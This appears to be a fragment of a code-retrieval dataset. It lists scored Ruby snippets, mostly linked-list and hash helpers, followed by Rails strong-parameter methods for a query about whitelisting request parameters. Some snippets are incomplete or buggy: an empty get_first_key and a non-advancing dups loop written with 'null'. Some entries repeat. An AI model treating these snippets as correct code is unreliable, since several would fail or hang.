"text": "def key_for_min_value(name_hash)\n num = []\n key = nil\n name_hash.each do |x,y|\n if num.length > 0\n y > num.first ? num << y : (num.unshift(y) ; key = x)\n else\n num << y\n key = x\n end\n \n end \n key\nend",
"title": ""
},
{
"docid": "f50d9c8f054308928af46931359d25e2",
"score": "0.53575927",
"text": "def left_expr_node\n key_op_val? && @elements[0]\n end",
"title": ""
},
{
"docid": "2cae71dd453b26f5607734a98d6982ba",
"score": "0.5355623",
"text": "def remove_dup(head)\n @head = head\n seen = {}\n prev = nil\n while head\n if seen[head.val]\n prev.next = head.next\n else\n seen[head.val] = true\n prev = head\n end\n\n head = head.next\n end\n @head\nend",
"title": ""
},
{
"docid": "0cb9bba48765b0992a10791f2aecb629",
"score": "0.53548265",
"text": "def get_first_key(hash)\n return \nend",
"title": ""
},
{
"docid": "90f2185422e560eb092f775f4e9d7219",
"score": "0.534996",
"text": "def list_first(list)\n list.head.data unless list.head.nil?\nend",
"title": ""
},
{
"docid": "9a713b8cbae65b625eed6805f0d700ee",
"score": "0.534792",
"text": "def find_inorder_successor(node)\n current_node = node\n current_node = current_node.left until current_node.left.nil?\n\n current_node\n end",
"title": ""
},
{
"docid": "7301d8a6f1df3975debd9a4af2edbdc1",
"score": "0.53442186",
"text": "def head\n @head.nil? ? nil : @head.value\n end",
"title": ""
},
{
"docid": "51b8e7e57a7a78c1cc69560794429633",
"score": "0.5340797",
"text": "def two_point_one(head)\n @s1 = Set.new\n @current = head\n while(@current.next != nil)\n if(@s1.include?(@current.next.data))\n @current.next = @current.next.next\n else\n @s1.add(@current.data)\n end\n @current = @current.next\n end\n return head\n end",
"title": ""
},
{
"docid": "e83b04ffebd43823ebda20c0fc257e8b",
"score": "0.53394383",
"text": "def remove_element(arr, key)\n next_element = 0\n\n for i in 0..(arr.length - 1) \n if arr[i] != key\n arr[next_element] = arr[i]\n next_element += 1\n end\n\n end\n return next_element\nend",
"title": ""
},
{
"docid": "ba37f793aaa4a4249141a5e1eac66b38",
"score": "0.5337715",
"text": "def peek\n empty? ? nil : @head.value\n end",
"title": ""
},
{
"docid": "56933e71838b768e44c46f82672f29d0",
"score": "0.53290075",
"text": "def shift_first \n @head=@head.next\n @head.prev=nil\n end",
"title": ""
},
{
"docid": "ec023d5114e0e4fdbaa1491da92a8129",
"score": "0.53235435",
"text": "def previous?\n previous.any? { |k, v| k == :lines && v.any? }\n end",
"title": ""
},
{
"docid": "6a1781f4dc558959780a9e4ddbcf066a",
"score": "0.5319496",
"text": "def alphabetic_prev\n\t\t@alphabetic_prev ||= Facet.alphabetic_prev(self).first\n\tend",
"title": ""
},
{
"docid": "a29b5e16a8fb12989e70a717891a019a",
"score": "0.5318475",
"text": "def each1\r\n aux = @head\r\n vec = []\r\n \r\n while (aux != nil)\r\n vec << aux.value\r\n aux = aux.next\r\n end\r\n\r\n vec.each.with_index(1) do |val,i|\r\n if(i < vec.size-1)\r\n vec.each.with_index(0) do |n,j|\r\n if(j < vec.size-i)\r\n if(vec[j] > vec[j+1])\r\n k=vec[j+1]\r\n vec[j+1]=vec[j]\r\n vec[j]=k\r\n end\r\n end\r\n end\r\n end\r\n end\r\n vec\r\n end",
"title": ""
},
{
"docid": "a29b5e16a8fb12989e70a717891a019a",
"score": "0.5318475",
"text": "def each1\r\n aux = @head\r\n vec = []\r\n \r\n while (aux != nil)\r\n vec << aux.value\r\n aux = aux.next\r\n end\r\n\r\n vec.each.with_index(1) do |val,i|\r\n if(i < vec.size-1)\r\n vec.each.with_index(0) do |n,j|\r\n if(j < vec.size-i)\r\n if(vec[j] > vec[j+1])\r\n k=vec[j+1]\r\n vec[j+1]=vec[j]\r\n vec[j]=k\r\n end\r\n end\r\n end\r\n end\r\n end\r\n vec\r\n end",
"title": ""
},
{
"docid": "3ac6528407b4d7386bb1221da3a7d6a2",
"score": "0.53149545",
"text": "def [](key)\n if @items[index(key,size)] != nil\n current = @items[index(key, size)].head #chooses head node\n while current != nil\n if current.key == key\n return current.value\n else\n current = current.next\n end\n end\n end\n end",
"title": ""
},
{
"docid": "8c9f3004668d6b5ffb973354eac609d5",
"score": "0.5310041",
"text": "def next_key\n @next && @next.key\n end",
"title": ""
},
{
"docid": "804d679ea9881f2395c68c43601a3f60",
"score": "0.53060645",
"text": "def first_duplicate2(a)\n found = {}\n a.each do |x|\n return x if found[x]\n found[x] = true\n end\n -1\nend",
"title": ""
},
{
"docid": "699eb435450de208579fe232ce89c491",
"score": "0.5281518",
"text": "def get_prev()\n return @prev_node\n end",
"title": ""
},
{
"docid": "4fbe7d226ef8a7a87a1df0f7a5ed86e0",
"score": "0.5271539",
"text": "def key_for_min_value(name_hash)\n if name_hash.empty?\n nil\nelsif new_array = name_hash.sort_by {|name, value| value}\n new_array[0].shift\nend\n end",
"title": ""
},
{
"docid": "c3a624ee3293803c5af1b8c98fb90d1a",
"score": "0.5269542",
"text": "def predecessor\n Algorithm.where(next: self).first\n end",
"title": ""
},
{
"docid": "81ec24684032df545121e49972288d5d",
"score": "0.52577454",
"text": "def adjacent_heads(our_snake, other_snakes)\n our_head = our_snake[:body].first\n other_snake_heads = other_snakes.map { |s| s[:body].first }\n\n other_snake_heads.keep_if { |head| is_adjacent?(our_head, head) }\n return other_snake_heads\nend",
"title": ""
},
{
"docid": "247e0c62453df113389c1f137a2cfe4c",
"score": "0.5254436",
"text": "def empty?\n !head\n end",
"title": ""
},
{
"docid": "9f990820541270367b41e96e08189bef",
"score": "0.5252734",
"text": "def remove_duplicate_in_place(head)\n head = LinkedListNode.from_array(head.to_array.sort)\n current = head\n while (current.next_item != nil) do\n if current.next_item.data != current.data\n current = current.next_item\n else\n current.next_item = find_different_next(current)\n end\n end\n\n head\nend",
"title": ""
},
{
"docid": "72e18c2962da68c463d164e2214542e6",
"score": "0.524978",
"text": "def erase_head()\n aux = @head[:prev]\n aux[:next] = nil\n @head = aux\n end",
"title": ""
},
{
"docid": "eecbb5080d31e45f2d998a973c30c8e9",
"score": "0.52446264",
"text": "def previous\n master_files_sorted = self.sorted_set\n if master_files_sorted.find_index(self) > 0\n return master_files_sorted[master_files_sorted.find_index(self)-1]\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "33c8a68621acda9d6dbac352838c3df7",
"score": "0.52439713",
"text": "def get_first\n @head == nil ? nil : @head.data\n end",
"title": ""
},
{
"docid": "3d53df35143c10d93f6c0044abdb2801",
"score": "0.52393365",
"text": "def search key\r\n #start searching from the head (if the head is NULL, get out of the function and return NULL)\r\n node = @head\r\n #while there's still any unsearched node in the list (you haven't reach the end of the list) and the wanted node hasn't been found\r\n while (node != nil) && (node.get_value != key)\r\n #search the wanted node linearly using the next pointer\r\n node = node.get_next_node\r\n #You MUST keep the order of the logical checking or you'll get an error for trying to check the key of NULL\r\n end\r\n #return a pointer to the wanted node (if no node with the key appears in the list, this will return NULL)\r\n return node\r\n end",
"title": ""
},
{
"docid": "5613550c5ce5e207c2d2fc0e3c770b0f",
"score": "0.52310675",
"text": "def pop_head\n extraido = false\n if @head == nil #Comprobamos si la lista no esta vacía\n\t\t\traise RuntimeError, \"Lista vacía, no se puede extraer nodo\"\n\t\telse\n\t\t extraido = true\n\t\t\tif @head == @tail\n\t\t\t\t@head = nil\n\t\t\t\t@tail = nil\n\t\t\telse\n\t\t\t\t@head = @head.prev\n @head.next = nil\n\t\t\tend\n end\n \n return extraido\n end",
"title": ""
},
{
"docid": "f8c2da99b618d259ff89ec6f861fe77e",
"score": "0.52263623",
"text": "def succ\n if @combo == nil or @combo == @set[-@num_elements..-1]\n return nil if (@num_elements +=1) > @set.length\n @combo = @set[0,@num_elements]\n else\n index = (1..@num_elements).find {|i| @combo[-i] < @set[-i]}\n @combo[-index, index] = @set[@map[@combo[-index]], index]\n end\n @combo\n end",
"title": ""
},
{
"docid": "24966cebfebcc4f22690e89be2bcd431",
"score": "0.52227163",
"text": "def node_first\n @head\n end",
"title": ""
},
{
"docid": "d808522971d62e83a8525e0559966c7b",
"score": "0.52163064",
"text": "def previous\n master_files_sorted = self.sorted_set\n if master_files_sorted.find_index(self) > 0\n return master_files_sorted[master_files_sorted.find_index(self)-1]\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "cb5e19d8e4c845ac5e591b37a027df07",
"score": "0.52155375",
"text": "def shift\n return if @length == 0\n key = @head.next.key\n [key, delete(key)]\n end",
"title": ""
},
{
"docid": "d5a99c937d74a3120882c229d0a944cc",
"score": "0.5210583",
"text": "def first?\n self.previous_id.nil?\n end",
"title": ""
},
{
"docid": "bd1ea5177aea53affa3363d10293d1b9",
"score": "0.5204986",
"text": "def pred(v)\n @back[v] || Set.new\n end",
"title": ""
},
{
"docid": "2911a54076814d09ecb7c10e1fb7ac28",
"score": "0.5196318",
"text": "def get_first\n @head.nil? ? nil : @head.data\n end",
"title": ""
},
{
"docid": "57954c09e3a7a996a3f3a0274225d679",
"score": "0.5193154",
"text": "def remove_first\n old_head = @head\n @head = @head.next_node unless @head.nil?\n @head.prev_node = nil unless @head.nil?\n old_head\n end",
"title": ""
},
{
"docid": "77bda28673007a8ec4dbf639184e718f",
"score": "0.5192376",
"text": "def dups(linked_list)\n return \"list is empty\" if linked_list.head==null\n current_node= linked_list.head\n occurred={}\n occurred[current_node.data]=true\n \n while(current_node.next!=null)\n if occurred[current_node.next.data]\n current_node.next=current_node.next.next\n end\n end \n \nend",
"title": ""
},
{
"docid": "d86dd6b78f889ac006ac61c711233716",
"score": "0.5191802",
"text": "def previous\n\t first? ? nil : locate - 1\n\tend",
"title": ""
},
{
"docid": "df569232e346fdcddd4324a83193843b",
"score": "0.5187404",
"text": "def has_cycle?(head)\n tortoise = head\n hare = head\n\n while(tortoise != nil && hare != nil && hare.next != nil)\n tortoise = tortoise.next\n hare = hare.next.next\n if tortoise == hare && tortoise != nil\n return true\n end\n end\n return false\nend",
"title": ""
},
{
"docid": "debbcf16d1109a3ba31a8004891ab0c7",
"score": "0.51846313",
"text": "def get_first\n return head ? head.data : nil\n end",
"title": ""
},
{
"docid": "9987d50e115f676bc379f7de387f5989",
"score": "0.51790565",
"text": "def find_missing_letter(arr)\n arr.each_with_index { |ltr, i| return ltr.next unless ltr.next == arr[i + 1] }\nend",
"title": ""
},
{
"docid": "792732f4ae38a9c285b758b41f4c4989",
"score": "0.51757693",
"text": "def has_previous\n @pictures.previous?\n end",
"title": ""
},
{
"docid": "56f44d73697dee0938127457771e0b7e",
"score": "0.5175559",
"text": "def __add_keys_to(set) # used by parser # [\n lim = @_st_tableSize\n lim = lim + lim\n kofs = 0\n while kofs < lim\n k = self.__at(kofs)\n if k._not_equal?(RemoteNil)\n set.add(k) # k,v pair\n else\n v = self.__at(kofs + 1)\n if v._not_equal?(RemoteNil)\n if v._isFixnum\n # internal collision chain\n idx = v\n begin\n ck = self.__at(idx)\n if ck._not_equal?(RemoteNil)\n set.add(ck)\n end\n idx = self.__at(idx + 2)\n end while idx._isFixnum\n else\n # a collision bucket , which is a small Hash \n v.__add_keys_to(set)\n end\n end\n end\n kofs += 2\n end\n end",
"title": ""
},
{
"docid": "b9d31f5f9d36c311116b98e661cf37fd",
"score": "0.51733536",
"text": "def [](key)\n index = self.index(key, @items.length)\n if !@items[index].nil?\n current = @items[index].head\n until current.nil?\n if current.key === key\n return current.value\n else\n current = current.next\n end\n end\n end\n end",
"title": ""
},
{
"docid": "d8993ec80c16641787a7fec0395efecc",
"score": "0.5169959",
"text": "def remove_front\n placeholder = @head\n @head = placeholder.next\n return placeholder\n end",
"title": ""
},
{
"docid": "4cd140943aea7629eaefeade53aa8d47",
"score": "0.51580435",
"text": "def low_missing(input)\n i = 0\n while i < input.length\n item = input[i]\n next i += 1 if input[item] == input[i]\n next i += 1 if item < 0 || item > input.length - 1\n input[i], input[item] = input[item], input[i]\n end\n out = 1\n out += 1 while out == input[out]\n out\nend",
"title": ""
},
{
"docid": "825dce2a25644c982ea99078fc6fdbbd",
"score": "0.5156355",
"text": "def next_empty(key:, column: nil)\n nxt = nil\n loop do\n nxt = @plate_layout_generator.next(column: column)\n prt = @collection.part(nxt[0], nxt[1])\n break unless prt.associations[key].present?\n end\n nxt\n end",
"title": ""
},
{
"docid": "f4935a3589a6184baafa01e4b7926631",
"score": "0.5153482",
"text": "def removeKFromList(l, k)\n\n return [] if l.nil?\n\n if l.next.nil?\n return (l.value == k ? nil : l)\n end\n\n head = l\n prev = nil\n\n until false\n\n # print head.value\n\n if head.value == k\n if prev.nil?\n l = l.next\n else\n prev.next = head.next\n end\n else\n prev = head\n end\n break if head.next.nil?\n head = head.next\n end\n\n # print l.to_json\n\n l\n\nend",
"title": ""
},
{
"docid": "148ef83c6c5ccac3d6e4e7886ff4731c",
"score": "0.51508856",
"text": "def extraerHead ()\n extraer = @head\n headActual = @head.prev\n @head = headActual\n if headActual == nil\n @tail = nil\n else\n @head.next = nil\n end\n @size-=1\n return extraer\n end",
"title": ""
},
{
"docid": "2e2fc70711abe7326efe92224f328f1b",
"score": "0.51490533",
"text": "def assoc(key)\n enum = has_size? ? :each : :cycle\n send(enum) do |el|\n if el.respond_to?(:[]) && !el.empty? && el[0] == key\n return el\n end\n end\n return nil\n end",
"title": ""
},
{
"docid": "40e2a9e9f076ae3e8994a7382b3b6ca7",
"score": "0.514356",
"text": "def remove_first\n raise 'No such element' if @size == 0\n elt = @head.value\n if @size == 1\n @head = nil\n @tail = nil\n else\n @head = @head.next\n @head.previous.next = nil\n @head.previous = nil\n end\n @size -= 1\n return elt\n end",
"title": ""
},
{
"docid": "094c1561604767af8c592bd5e5500be7",
"score": "0.5142731",
"text": "def key_for_min_value(name_hash)\n if name_hash.size == 0\n nil\n else\n key_value_pair = name_hash.sort_by { |key, value| value}.first\n key_value_pair.shift\n end\nend",
"title": ""
},
{
"docid": "09a6474aa1b8112804b33256b541a87f",
"score": "0.5141497",
"text": "def find_distinct_item(current_list, last_list, key)\n if current_list.size == last_list.size + 1\n unique_values = current_list.map { |item| item[key] } - last_list.map { |item| item[key] }\n if unique_values.size == 1\n unique_value = unique_values[0]\n return current_list.find { |item| item[key] == unique_value }\n end\n end\n return nil\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "cbf26d3029eac3cce7867a39383ed5c8",
"score": "0.0",
"text": "def driver_params\n params.require(:driver).permit(\n :search,\n :updated_at,\n :reports,\n :first_name,\n :last_name,\n :latitude,\n :longitude,\n :current_city,\n :current_state,\n :desired_city,\n :full_name,\n :current_location,\n :desired_state,\n :driver_id_tag,\n :driver_phone,\n :driver_truck_type,\n :active,\n :driver_status,\n :driver_availability,\n :driver_company,\n :comments,\n :Covered,\n :user_id,\n :Etrac,\n :PlateTrailer,\n :insurance,\n :state_lat,\n :state_lng,\n :destination_zone,\n :current_zone,\n :contact_name,\n :backhaul,\n :last_updated_by,\n :PreferredLanes => []\n )\n end",
"title": ""
}
] | [
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7493595",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.6954758",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69205236",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.6891565",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.6783412",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.6741766",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.66818774",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6634386",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.6627996",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.6624317",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.6561549",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.648986",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.64755446",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.6452771",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.639812",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.6379535",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63622755",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.63365924",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.63347775",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.63249147",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.63191724",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.6313892",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.6312876",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.63040864",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.62999487",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.629886",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.6294405",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.6292178",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.6292178",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.62785035",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.62718505",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6265872",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.62543756",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62532973",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.6250798",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6233973",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62272465",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6227004",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6225902",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.62246615",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6199634",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.6190174",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.6181904",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.61772704",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.6162726",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160626",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6154942",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61526656",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61359465",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61319274",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61170536",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.6114007",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6112975",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6112975",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.6109575",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61028",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61028",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6095016",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6095016",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.6085453",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60841954",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.6083834",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076738",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60734737",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.6066163",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065011",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60641026",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.6063542",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.60627866",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.60613674",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60602236",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562223",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.6047439",
